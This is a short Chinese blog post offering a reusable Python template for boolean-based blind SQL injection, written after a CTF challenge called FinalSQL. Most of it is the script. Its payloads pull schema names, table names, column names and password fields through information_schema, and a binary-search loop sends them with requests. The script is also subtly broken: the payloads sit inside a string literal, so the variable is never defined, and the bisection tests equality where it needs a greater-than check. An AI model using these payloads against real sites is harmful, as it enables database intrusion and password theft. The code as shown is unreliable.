SQL盲注模板化脚本

最近是把极客大挑战的 FinalSQL 给整了,但是脚本跑得很难受,跑了半个小时,后来用二分尼玛只花了一分钟,爷服辣,所以打算是整个二分的模板,再写个多线程的模板,以后就可以套着用,很舒服~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests

# 返回字段
S = ''

# payload
'''
# 爆库
payload = "?id=1=(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{times},1))={num})=1"
# 爆表
payload = "?id=1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{times},1))={num})=1"
# 爆列
payload = "?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='user')),{times},1))={num})=1"
# 爆字段信息
payload = "?id=1=(ascii(substr((select(group_concat(password))from(user)),{times},1))={num})=1"
'''

# URL
url = 'xxxxxxxxx' + payload

def pay(time, num):
content = requests.get(url.format(times=time, num=num))
if content.text.find('xxx') != -1:
res = True
else:
res = False

return res

for i in range(1, 1000):
# 上限 & 下限
low = 31
high = 127

# 二分
while low < high:
# 取中
mid = (low + high) // 2
if pay(i, mid):
low = mid + 1
else:
high = mid

f = int((low + high + 1)) // 2
if f == 127 or f == 31:
break

S += chr(f)
print(S)

print("\nEND! And Echo: ", S)

From:堆堆
记得注明出处嗷


评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×